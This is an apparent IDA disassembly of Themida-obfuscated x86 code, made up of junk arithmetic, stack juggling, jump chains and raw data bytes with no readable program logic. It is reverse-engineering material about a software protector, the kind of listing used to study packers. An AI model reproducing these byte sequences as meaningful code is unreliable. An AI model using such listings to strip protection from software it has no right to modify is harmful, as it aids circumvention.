		sub	[esp+4], edi
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_5523A1
; ---------------------------------------------------------------------------


loc_557543:				; CODE XREF: Themida_:0055127Dj
		xchg	ebx, [esp]
		pop	esp
		xor	eax, 6F13942h
		or	eax, eax
		jnz	loc_5580E2
		push	3437h
		mov	[esp], edi
		jmp	loc_5553E0
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0B7h
		dd 1FFFFFAh, 0C875EF1h,	0E8015C24h, 81242C8Bh, 4ECh, 24148900h
		dd 0FFB6A7E9h, 4EC83FFh, 89243489h, 0D4568E6h, 3C890000h
		dd 0BF4BF24h, 565545BFh, 0CF046268h, 0C6815E58h, 1E5743B2h
		dd 0B5C681h, 0F681634Ch, 0A42E6894h, 0FFEDC2E9h, 0C5814DFFh
		dd 14BA41AAh, 0E95DE989h, 0FFFFCCD5h
; ---------------------------------------------------------------------------


loc_5575C4:				; CODE XREF: Themida_:00559FE9j
		mov	esi, ebx
		pop	ebx
		jmp	loc_552330
; ---------------------------------------------------------------------------
		dd 241C8758h, 8124248Bh, 4C4h, 5611E900h, 0EF810000h, 19480410h
		dd 5C9EEF81h, 0DF0147FCh, 5C9EC781h, 0C78147FCh, 19480410h
		dd 0BDBEE95Bh, 0EC83FFFFh, 243C8904h, 0F989D789h, 5809E9h
		dd 0E9835800h, 240C8704h, 2434895Ch, 0FFD291E9h, 6E5DBDFFh
		dd 0E9893C19h, 0FFCB13E9h, 48B66FFh, 0E0895024h, 69ADBE56h
		dd 0E6C144ABh, 0A4F68105h, 0E9956D35h, 0FFFFEA14h, 80619CBBh
		dd 74C38168h, 0C12C3911h, 0B95108EBh, 7F679CBh,	0E9E98149h
		dd 21EDB053h, 240C8BCBh, 1C70E9h
		db 0
; ---------------------------------------------------------------------------


loc_557669:				; CODE XREF: Themida_:00553841j
		add	edx, edi
		sub	edx, 7C0B03B8h
		jmp	loc_55A4CD
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0B8500000h, 524979F6h, 0E0C1D0F7h, 304C3503h
		dd 0C7016DB4h, 70E9h, 74EE8100h, 8169A131h, 8F73D7C6h
		dd 81EE016Bh, 8F73D7EEh, 0B951556Bh, 554E5022h,	3F8E9h
		dd 8BD90100h, 0D4E9241Ch
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5576BF:				; CODE XREF: Themida_:005524BCj
		or	ebp, 14035E37h
		and	ebp, 0A416A75h
		sub	ebp, (offset loc_416A72+2)
		mov	esi, ebp
		pop	ebp
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	eax
		push	edx
		jmp	loc_555F2F
; ---------------------------------------------------------------------------
		db 0BDh, 69h, 48h
		dd 6C014D33h, 5E5D0824h, 8324348Bh, 2AE904C4h, 8BFFFFC3h
		dd 0C481243Ch, 4, 0FF9341E9h, 0BEE958FFh
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55770B:				; CODE XREF: Themida_:0055CA66j
		not	eax
		sub	eax, 258EE23h
		mov	ecx, eax
		pop	eax
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5571A6
; ---------------------------------------------------------------------------
		db 29h,	0D7h, 5Ah
		dd 565FF901h, 468h, 0C1815E00h,	436B7536h, 0ECE9F101h
		dd 8B000030h, 0C481242Ch, 4, 7D39C381h,	18E95486h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55774F:				; CODE XREF: Themida_:0055629Cj
		xor	ebp, [esp]
		pop	esp
		pop	ecx
		add	ecx, 3F584D13h
		push	2785h
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_55A7B0
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 1000000h, 0C1815AD1h, 4, 0E9240C87h,	0FFFFB371h, 9D1C77FFh
		dd 14D35966h, 75E99C24h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55778F:				; CODE XREF: Themida_:00550FBCj
		add	ecx, 3DF410E1h
		add	ecx, eax
		sub	ecx, 3DF410E1h
		jmp	loc_55BFDA
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 240C3124h, 0FF9299E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5577AD:				; CODE XREF: Themida_:0055C83Dj
		xchg	ebx, [esp]
		pop	esp
		and	eax, ebx
		jmp	loc_557916
; ---------------------------------------------------------------------------
		dd 0F9FDE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5577BE:				; CODE XREF: Themida_:00559AF9j
		shl	ecx, 2
		xor	ecx, 3E910574h
		sub	ecx, 0FBE4D5ECh
		and	eax, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5581BD
		push	dword ptr [edi+1Ch]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55ADF8
; ---------------------------------------------------------------------------
		dd 410CEF81h, 0EF295271h, 8904EC83h, 0CBB241Ch,	0E9527141h
		dd 0FFFFF238h, 5C241487h, 7BB68h, 24148900h, 0C281E289h
		dd 4, 8704C283h, 535C2414h, 0E956E389h,	0FFFF9FA7h, 5C240487h
		dd 0FFB7D0E9h, 2434FFFFh, 0E0895059h, 3FBEBF57h, 0BE561997h
		dd 68C009C8h, 0CEE9F729h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557863:				; CODE XREF: Themida_:00551FBEj
		pop	ecx
		xor	ecx, 637B757Ah
		pop	ebx
		xor	[edi+24h], ecx
		mov	ecx, [esp]
		jmp	loc_553B16
; ---------------------------------------------------------------------------
		dw 0C683h
		dd 9BB3E902h, 0E9C1FFFFh, 52D1F707h, 6D8604BAh,	8BD13188h
		dd 63682414h, 0E9000037h, 0FFFF952Ah
; ---------------------------------------------------------------------------


loc_557898:				; CODE XREF: Themida_:00553694j
		xor	ebp, 513760DFh
		not	ebp
		sub	ebp, 0FFFFFFFFh
		xor	ebp, 0E6879099h
		jmp	loc_55996C
; ---------------------------------------------------------------------------
		dw 5958h
		dd 4EC81h, 0B8E90000h, 83FFFFABh, 0FF5604C4h, 8B042474h
		dd 7E92434h, 56FFFFA1h,	0EC815E54h, 4, 0BF243C89h, 4, 3C8BFE01h
		dd 0E7895724h, 4A2368h,	241C8900h, 0FF9D29E9h, 40966FFh
		dd 4BE99C24h, 55FFFF91h, 8D187EBDh, 0A5C58145h,	8100A41Bh
		dd 6063E4EDh, 4DD5F759h, 0B236E945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557916:				; CODE XREF: Themida_:005577B3j
		mov	ebx, [esp]
		jmp	loc_55702F
; ---------------------------------------------------------------------------


loc_55791E:				; CODE XREF: Themida_:00557951j
		push	49C0h
		mov	[esp], ebx
		jmp	loc_556C72
; ---------------------------------------------------------------------------
		db 89h
		dd 55E950E1h, 80FFFFF7h, 0EA8872EDh, 28D80459h,	0E9D82CD0h
		dd 0FFFF9BB0h
; ---------------------------------------------------------------------------


loc_557944:				; CODE XREF: Themida_:005591B7j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_55791E
; ---------------------------------------------------------------------------


loc_557956:				; CODE XREF: Themida_:00552ADFj
		mov	[esp], ebp
		push	edx
		mov	edx, 0B97497Ah
		push	ebx
		mov	ebx, 1D5F689Bh
		mov	ebp, 11E81F21h
		sub	ebp, ebx
		jmp	loc_55CB9D
; ---------------------------------------------------------------------------
		db 51h,	0B5h, 0B4h
		dd 84E9DDF6h, 8B000052h, 54572404h, 4EC815Fh, 89000000h
		dd 6852241Ch, 6FF35D54h, 0F90E95Ah, 4890000h, 24A3E924h
		dd 0D1880000h, 59CA885Ah, 378EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5579A9:				; CODE XREF: Themida_:0055C04Cj
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55CA51
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 59E83004h, 2EC81h, 89660000h, 5B7241Ch, 0BF1DE953h
		dd 0BB53FFFFh, 408F3315h, 0AA90EB81h, 15E95089h, 5EFFFFBFh
		dd 0FFC5FAE9h, 0E95D54FFh, 2633h
; ---------------------------------------------------------------------------


loc_5579F0:				; CODE XREF: Themida_:00550BCDj
		add	edi, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_554BE7
; ---------------------------------------------------------------------------


loc_557A01:				; CODE XREF: Themida_:00558123j
		add	esp, 4
		add	ecx, 406969B3h
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 304D1E28h
		inc	ebx
		dec	ebx
		push	ecx
		jmp	loc_55A289
; ---------------------------------------------------------------------------
		dd 0B551D828h, 80D5F61Bh, 0F58020E5h, 0C0C5FEA3h, 0ED8007E5h
		dd 59E828EFh, 0FFA419E9h, 0E4F181FFh, 819F85E9h, 8947F4C5h
		dd 0CF93E977h, 0C681FFFFh, 6F124F5Bh, 0BDE1C681h, 0F1898ADFh
		dd 8BCD015Eh, 0C481240Ch, 4, 3BCAE9h
		db 0
; ---------------------------------------------------------------------------


loc_557A79:				; CODE XREF: Themida_:00552807j
		add	eax, edx
		add	eax, 36003F46h
		pop	edx
		push	60AEh
		mov	[esp], esi
		push	1E376550h
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		pop	esi
		jmp	loc_5574D9
; ---------------------------------------------------------------------------
		db 83h
		dd 0DBF704C4h, 0FFC147E9h, 94C181FFh, 8153F760h, 0C598EC1h
		dd 81D9F757h, 0F48756C1h, 59CD8938h, 4B9EED81h,	0EE01CF01h
		dd 242C8B5Dh, 0E904C483h, 415Eh, 0FF8F69E9h, 1AC181FFh
		dd 0C1646935h, 0F18104E1h, 68864862h, 0FFEF9EE9h, 4EC83FFh
		dd 2732E9h
		db 0
; ---------------------------------------------------------------------------


loc_557AF9:				; CODE XREF: Themida_:005511B0j
		add	al, dh
		pop	dx
		pop	ecx
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_5572D9
; ---------------------------------------------------------------------------


loc_557B0D:				; CODE XREF: Themida_:00556A8Aj
		push	6761h
		mov	[esp], ecx
		mov	cl, 8Bh
		not	cl
		add	cl, 0B6h
		jmp	loc_5573BD
; ---------------------------------------------------------------------------


loc_557B21:				; CODE XREF: Themida_:0055B88Aj
		sub	esi, 567C0FBDh
		push	esi
		pop	edx
		jmp	loc_554B0C
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 509DBF24h, 0FA893869h, 81243C8Bh, 4C4h, 4366E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557B46:				; CODE XREF: Themida_:0055B713j
		add	esp, 4
		shr	edi, 2
		shl	edi, 1
		push	ebp
		jmp	loc_55C010
; ---------------------------------------------------------------------------
		dd 924248Bh, 0E99C2404h, 0FFFFA19Eh
; ---------------------------------------------------------------------------


loc_557B60:				; CODE XREF: Themida_:0055AA35j
		mov	[esp], eax
		jmp	loc_55345F
; ---------------------------------------------------------------------------


loc_557B68:				; CODE XREF: Themida_:00551EF7j
		add	edi, 0FFFFFFFFh
		not	edi
		or	edi, 72DF61EFh
		jmp	loc_55567C
; ---------------------------------------------------------------------------
		dd 6CDEBE56h, 0F0315F6Ah, 0E9D0F75Eh, 378Bh, 9D1C77FFh
		dd 0D3665966h, 0E99C241Ch, 0FFFF8EAEh, 0BA5255ADh, 4D0E4BFCh
		dd 8103E2C1h, 9B5B0AEAh, 5AD58945h, 15DE829h, 3C99E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557BB6:				; CODE XREF: Themida_:0055ADFEj
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_554CF4
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 0E9h
		dd 0FFFFD73Dh, 0E4E9D729h, 8B000053h, 0E7E9241Ch, 4FFFFE3h
		dd 2CBD68EBh, 13E90000h, 0D0FFFF94h, 6E5C0E5h, 0E904EC83h
		dd 3317h, 63BF5753h, 0E9688903h, 3290h
; ---------------------------------------------------------------------------


loc_557C04:				; CODE XREF: Themida_:0055A357j
		push	edx
		push	eax
		push	42B015CAh
		mov	eax, [esp]
		add	esp, 4
		add	eax, 33D1FA5Eh
		jmp	loc_556E53
; ---------------------------------------------------------------------------


loc_557C1E:				; CODE XREF: Themida_:0055594Dj
		shr	edi, 3
		add	edi, 3A9646EAh
		add	edi, 0BF35147h
		mov	eax, edi
		pop	edi
		push	ecx
		push	esi
		jmp	loc_556910
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0F87BB53h, 0E3C12489h, 4DBD5504h, 81362F46h,	0C50F42EBh
		dd 81EB0174h, 0C50F42C3h, 0E3C15D74h, 0E9D3F708h, 9E1h
; ---------------------------------------------------------------------------


loc_557C60:				; CODE XREF: Themida_:0055231Aj
		xor	[esp], al
		xor	al, [esp]
		xor	[esp], al
		jmp	loc_550A46
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E9572404h, 21BCh, 2C381h, 1C870000h, 0D5E7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557C86:				; CODE XREF: Themida_:00555AF0j
		xchg	ecx, [esp]
		pop	esp
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55B869
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFBC0AE9h, 0DF0158FFh, 0A94BE95Bh, 0CFEFFFFh, 9BE99C24h
		dd 66FFFF8Dh, 68240C8Bh, 5ED6h,	0E9243489h, 0CD4h, 81241C8Bh
		dd 4C4h, 8D7CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557CCA:				; CODE XREF: Themida_:00556EAAj
		add	ebx, eax
		push	dword ptr [ebx]
		pop	ecx
		mov	ebx, [esp]
		jmp	loc_5542CC
; ---------------------------------------------------------------------------
		db 5Ch
		dd 4C181h, 74E90000h, 89FFFFB0h, 0E952241Ch, 0FFFFDBADh
; ---------------------------------------------------------------------------


loc_557CEC:				; CODE XREF: Themida_:00553FC2j
		pop	esp
		add	ebx, 4
		sub	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_550A46
; ---------------------------------------------------------------------------
aN1S0		db '╜1ьИ"0',0
		align 2
		dw 1489h
aF_3		db '$╡fЁ',8,0
		dw 8BD3h
		dd 89562414h, 1F19E9E6h, 0AF2D0000h, 5A7A3A57h,	613468h
		dd 240C8900h, 5C02BF57h, 0EF8138B0h, 0BB31F34Ah, 3D55E950h
		dd 295F0000h, 0B3AFE9C3h, 8B66FFFFh, 0E955240Ch, 0FFFFDA5Fh
; ---------------------------------------------------------------------------


loc_557D5C:				; CODE XREF: Themida_:00557154j
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	edx, 40000h
		mov	ebx, edx
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_55C83A
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0F6E9240Ch, 56FFFFF7h, 676AC6BEh, 0F6C6813Fh, 0E91F9A4Ah
		dd 49h,	4B012D40h, 0C189D534h, 0B103E958h, 0EE80FFFFh
		dd 97B8E94Fh, 489FFFFh,	66D66824h, 34890000h, 6EE16824h
		dd 0C890000h, 7025B924h, 33BE0BF6h, 2948DB84h, 743159CEh
		dd 0F0E90424h, 66FFFFC8h, 5624048Bh, 0FFAABEE9h, 12BF57FFh
		dd 31FA7178h, 0F7295FFEh, 5FFA015Eh, 0FF8C4DE9h, 0B85059FFh
		dd 49EA4F24h, 5F459025h, 50C4E960h, 8B660000h, 5368240Ch
		dd 89000048h, 8B542434h, 0C4832434h, 0E7BF5704h, 8118607Dh
		dd 607DE3EFh, 5FFE0118h, 668968h, 24048900h, 0CB1CE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557E3A:				; CODE XREF: Themida_:005540C8j
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5545D4
; ---------------------------------------------------------------------------
		db 81h
		dd 9E4C50C3h, 0F427E947h, 0F281FFFFh, 77081A1Fh, 0EC0EA81h
		dd 0D331E290h, 0E924148Bh, 0FFFFB24Bh, 1CCA68h,	24148900h
		dd 0B353EAB2h, 0C0DBF6EEh, 0C3FE07EBh, 0E993C380h, 0FFFFD90Eh
; ---------------------------------------------------------------------------


loc_557EA0:				; CODE XREF: Themida_:00555268j
		xor	ebx, eax
		jmp	loc_55A9C5
; ---------------------------------------------------------------------------
		db 54h
		dd 5324048Fh, 4BBh, 245C0100h, 0F6A7E904h, 0BD55FFFFh
		dd 79A55250h, 2952CD81h, 0DDF71B57h, 0FFFFC581h, 0E5C1FFFFh
		dd 2EDC107h, 0C63BF581h, 0EB29365Fh, 242C8B5Dh,	34E95455h
		dd 29000025h, 0C875DE9h, 6E95C24h, 89FFFFF2h, 0D2682434h
		dd 5E437616h, 350DC681h, 0D6F72676h, 87E9h, 0CA685300h
		dd 5B561665h, 4EC81h, 2C890000h, 7CC0BD24h, 0E5C14A62h
		dd 57F58108h, 21523FC7h, 2434FFEBh, 376EE9h, 51732400h
		dd 5EE9E6B5h, 89FFFF9Ah, 5BD889D3h, 571BB5Ah, 9FE94397h
		dd 5D000037h, 4764FD05h, 0E9C8012Bh, 0FFFFCF0Ah, 0E9E88850h
		dd 4541h, 2FFA68h, 242C8900h, 43B6BB53h, 0EB812A93h, 0FFFFFFFFh
		dd 0E9BB5350h, 0E90D0518h, 181Dh, 54243C89h, 4C7815Fh
		dd 0E9000000h, 0FFFF9F1Bh, 0E902EEC1h, 0FFFFAEFEh, 0E924248Bh
		dd 157Eh, 2C146853h, 0E95B1887h, 0FFFFAC53h, 0E9243431h
		dd 5BBh, 0FF8A8DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557FB9:				; CODE XREF: Themida_:005535E3j
		pop	esp
		push	edi
		push	ebp
		push	28E6F0Ah
		jmp	loc_55991D
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0A2A9DE49h, 875BD801h, 555C2404h, 0ABF6B5BDh, 0D741E913h
		dd 875FFFFFh, 248B2404h, 241C3324h, 33241C31h, 63E9241Ch
		dd 8900000Dh, 4C6168E2h, 1C890000h, 4BB24h, 0F8E90000h
		dd 83000027h, 0C8704E9h, 24248B24h, 89243C89h, 0AA48E9E7h
		dd 188FFFFh, 0E9240C8Bh, 27C2h,	8B2434FFh, 0C4832404h
		dd 0FCE95004h, 0B9FFFFA9h, 699E6B59h, 8106E1C1h, 5A1555F1h
		dd 0E9D1F74Dh, 0FFFFDBB4h, 0F381D3F7h, 60DB49FFh, 3FADE381h
		dd 27E91379h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55805B:				; CODE XREF: Themida_:00558A57j
		mov	edx, 0ED392407h
		add	edx, edi
		pop	edi
		push	ebx
		mov	ebx, 17D35E23h
		or	edx, ebx
		pop	ebx
		add	edx, 72AE2889h
		jmp	loc_559853
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0E9240C87h, 0BB3h, 13DBB53h,	53E9F1DBh, 3300004Ah, 0C31240Ch
		dd 240C3324h, 0FFAF49E9h, 815F5BFFh, 784B0AC3h,	0AC38172h
		dd 163B962h, 0AC055BD8h, 0E961A523h, 0FFFF9E11h, 8704C383h
		dd 335C241Ch, 4312404h,	24043324h, 48B665Ch, 4BAE6824h
		dd 2C890000h, 51E95424h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5580D7:				; CODE XREF: Themida_:00552442j
		add	ebp, 7D503D14h
		jmp	loc_555011
; ---------------------------------------------------------------------------


loc_5580E2:				; CODE XREF: Themida_:005544E1j
					; Themida_:0055754Ej ...
		push	dword ptr [edi+24h]
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55CB0C
; ---------------------------------------------------------------------------


loc_5580F0:				; CODE XREF: Themida_:005541B4j
		mov	esi, ebp
		jmp	loc_554FFF
; ---------------------------------------------------------------------------


loc_5580F7:				; CODE XREF: Themida_:005522A2j
		pop	esp
		sub	esi, 5D3870F7h
		xchg	ebp, esi
		inc	ebp
		jmp	loc_55C785
; ---------------------------------------------------------------------------


loc_558106:				; CODE XREF: Themida_:00559559j
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5559A2
; ---------------------------------------------------------------------------


loc_55811E:				; CODE XREF: Themida_:0055BAD1j
		or	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_557A01
; ---------------------------------------------------------------------------
		dd 7DE97904h, 8B00001Dh, 94E92404h, 89FFFFF7h, 0F201E9D6h
		dd 31ADFFFFh, 0DD68D8h,	34890000h, 86C1BE24h, 0CE9522Dh
		dd 83FFFF8Bh, 2C8904ECh, 286824h, 555D0000h, 0FAD1E95Ah
		dd 0C768FFFFh, 89000035h, 565E241Ch, 50606850h,	1C890000h
		dd 1CF3BB24h, 0E3C138A8h, 1DC38103h, 0E964CE6Ch, 4DCAh
		dd 0F6C9FE5Bh, 4EC81D1h, 89000000h, 0E9512404h,	0FFFF8973h
		dd 0CD81DDF7h, 3F9F714Eh, 0C581D5F7h, 49D601CEh, 0FFD5C5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5581B5:				; CODE XREF: Themida_:0055BF03j
		add	esp, 4
		pop	edx
		pop	ecx


loc_5581BD:				; CODE XREF: Themida_:005577E4j
		push	24F4h
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, 30056EE9h
		add	edi, 5BEF6F5Dh
		add	edi, ebx
		sub	edi, 5BEF6F5Dh
		sub	edi, 30056EE9h
		pop	ebx
		push	30D6h
		mov	[esp], ebp
		jmp	loc_5536D3
; ---------------------------------------------------------------------------


loc_5581F5:				; CODE XREF: Themida_:0055C65Cj
		pop	eax
		add	ebx, ecx
		push	edx
		mov	edx, 231E628Eh
		push	esi
		mov	esi, 688060E8h
		jmp	loc_551CCB
; ---------------------------------------------------------------------------


loc_558209:				; CODE XREF: Themida_:00555704j
		push	7C5Ch
		mov	[esp], ecx
		jmp	loc_55CF5D
; ---------------------------------------------------------------------------


loc_558216:				; CODE XREF: Themida_:00551337j
		xor	eax, 56DA6217h
		add	ecx, 73CD47E9h
		jmp	loc_55B8E5
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 178F7456h, 68BE9h
		db 0
; ---------------------------------------------------------------------------


loc_558231:				; CODE XREF: Themida_:005592AEj
		pop	ecx
		jmp	loc_555AE4
; ---------------------------------------------------------------------------
		db 66h
		dd 0EFE9E9F7h, 31000024h, 72E92434h, 53000044h,	0D768E389h
		dd 89000063h, 4B82404h,	1000000h, 24048BC3h, 5504C483h
		dd 2BDh, 0AEEB8100h, 125055Fh, 0AEC381EBh, 0E925055Fh
		dd 4C42h, 0B9240C89h, 0AF28F5h,	36E9CA29h, 55000001h, 0FFF454E9h
		dd 0C48359FFh, 66DA2804h, 81241C8Bh, 2C4h, 0C8C28000h
		dd 148BD000h, 4C48324h,	5343B652h, 0F0E9F388h, 81FFFF87h
		dd 4ECh, 24148900h, 7FA30BBAh, 5AD729FEh, 34FFF831h, 54565F24h
		dd 0FFB8F9E9h, 2434FFFFh, 5024048Bh, 405E089h, 5000000h
		dd 4, 0E9240487h, 0FFFF88C9h, 81D830ACh, 4ECh, 90FE900h
		dd 0BF570000h, 5E9414F1h, 0E95FFA29h, 0FFFF9565h, 46C6BD55h
		dd 0C2B9427Bh, 31427B46h, 0FC31E9E9h, 31ADFFFFh, 5F6856D8h
		dd 89000001h, 77B82404h, 5168E528h, 0E83DFBB9h,	0E9D1F74Ch
		dd 2772h, 7E9028Fh, 50FFFF87h, 0A27D80B8h, 58C72916h, 7959C781h
		dd 0A5E96F64h, 0BEFFFF93h, 722168BAh, 12B2E9h, 4895C00h
		dd 0D4E924h, 0E0890000h, 3FF768h, 240C8900h, 4B9h, 0E9C80100h
		dd 0FFFF8CD1h, 5D2434FFh, 81E68956h, 4C6h, 4C68300h, 2D60E9h
		db 0
; ---------------------------------------------------------------------------


loc_558391:				; CODE XREF: Themida_:00551A44j
		mov	[edi+eax*4], dh
		jmp	loc_550B06
; ---------------------------------------------------------------------------
aItsd		db '┴БИd#',0
		align 10h
		dd 1C8BDF31h, 0F747E924h, 0C483FFFFh, 5AF02804h, 161768h
		dd 241C8900h, 0FFBC0AE9h, 0C68159FFh, 77533EBEh, 4A2AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5583C9:				; CODE XREF: Themida_:00559D77j
		pop	eax
		jmp	loc_550CF4
; ---------------------------------------------------------------------------
aPs_0		db 'PИЛ,',0
		dd 83555C00h, 0FE904ECh, 88FFFFB6h, 0C8B66EFh, 2C48324h
		dd 0FFA5C7E9h, 241CF7FFh, 8650E99Ch, 835CFFFFh,	1C8904ECh
		dd 66E3B724h, 30B5B050h, 883FE9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55840A:				; CODE XREF: Themida_:0055BC31j
		add	ecx, ebp
		pop	ebp
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_556174
; ---------------------------------------------------------------------------
		dw 489h
		dd 906B824h, 54023CCh, 0DC33F6FDh, 16DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55842D:				; CODE XREF: Themida_:00550E74j
		mov	ebp, 5BE668E4h
		add	ebp, 0FFFFFFFFh
		jmp	loc_55B131
; ---------------------------------------------------------------------------
		dw 0E954h
		dd 0FFFF95E6h, 0E9DCE95Bh, 0ED81FFFFh, 0A9489D4Dh, 0F6E9E901h
		dd 66FFFF92h, 83240C8Bh, 1C8904ECh, 1C8B5424h, 4C48324h
		dd 57A6BD55h, 9BE9708Bh, 51000013h, 592414F7h, 5B240C87h
		dd 0C381D3F7h, 8450944Ah, 95BDD89h, 0D5E91C6Fh
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55848B:				; CODE XREF: Themida_:00552FC8j
		pop	ebx
		xor	edx, edi
		pop	edi
		xor	ebx, edx
		pop	edx
		xor	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55B639
; ---------------------------------------------------------------------------


loc_5584A3:				; CODE XREF: Themida_:005521D6j
		pop	ecx
		sub	bl, dl
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0CFh
		sub	dh, 87h
		shr	dh, 7
		add	dh, 24h
		sub	bl, dh
		pop	edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55C89E
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 94FEB805h, 0E959CF29h, 0FFFFFE63h, 4C4815Bh,	66000000h
		dd 0FEBE950h, 0C4830000h, 0B9BE5604h, 0E9D65D9Fh, 0FFFFCEBFh
; ---------------------------------------------------------------------------


loc_5584F8:				; CODE XREF: Themida_:00552BE5j
		sub	esp, 4
		jmp	loc_55205E
; ---------------------------------------------------------------------------
		dd 7985E181h, 0D9F752FBh, 0FA60BB53h, 3EE9AFB4h, 0AD000009h
		dd 0E904EC83h, 0EB5h, 80E9D030h, 66000015h, 1BE9028Fh
		dd 0B3FFFF85h, 3E3C085h, 17C2E9h, 0E9555900h, 0FFFFE33Bh
; ---------------------------------------------------------------------------


loc_55853C:				; CODE XREF: Themida_:00551FB1j
		mov	ah, ch
		mov	dl, ah
		jmp	loc_55C890
; ---------------------------------------------------------------------------
		db 1, 0F1h, 0E9h
		dd 2CDh, 240C8B66h, 1D90E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558556:				; CODE XREF: Themida_:00556C78j
		mov	esi, 24D72869h
		mov	ebx, 68236284h
		sub	ebx, esi
		jmp	loc_5541EB
; ---------------------------------------------------------------------------
		db 89h
		dd 0D7E9240Ch, 33FFFF84h, 248B2434h, 24148924h,	3251E9h
		dd 66C4FE00h, 75B551h, 285966ECh, 0EB8058E3h, 2CC38009h
		dd 0EB80C328h, 9B6522Ch, 49D4E9h, 5AD03100h, 2687E9h
		db 0
; ---------------------------------------------------------------------------


loc_5585A5:				; CODE XREF: Themida_:00556463j
		pop	ebx
		add	ebx, 4
		jmp	loc_551B97
; ---------------------------------------------------------------------------


loc_5585B1:				; CODE XREF: Themida_:0055A52Ej
		pop	eax
		sub	ebp, 6802369Ch
		add	ebp, 69553AD8h
		jmp	loc_556426
; ---------------------------------------------------------------------------
		db 5Ah
		dd 34FFDF01h, 98B3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5585CE:				; CODE XREF: Themida_:0055A03Aj
		push	esp
		pop	ecx
		add	ecx, 4
		push	32A5h
		mov	[esp], esi
		push	eax
		push	23CB0614h
		pop	eax
		shl	eax, 5
		xor	eax, 4FF99005h
		push	edx
		mov	edx, eax
		mov	esi, edx
		pop	edx
		pop	eax
		shl	esi, 4
		inc	esi
		add	esi, 966AD7B3h
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
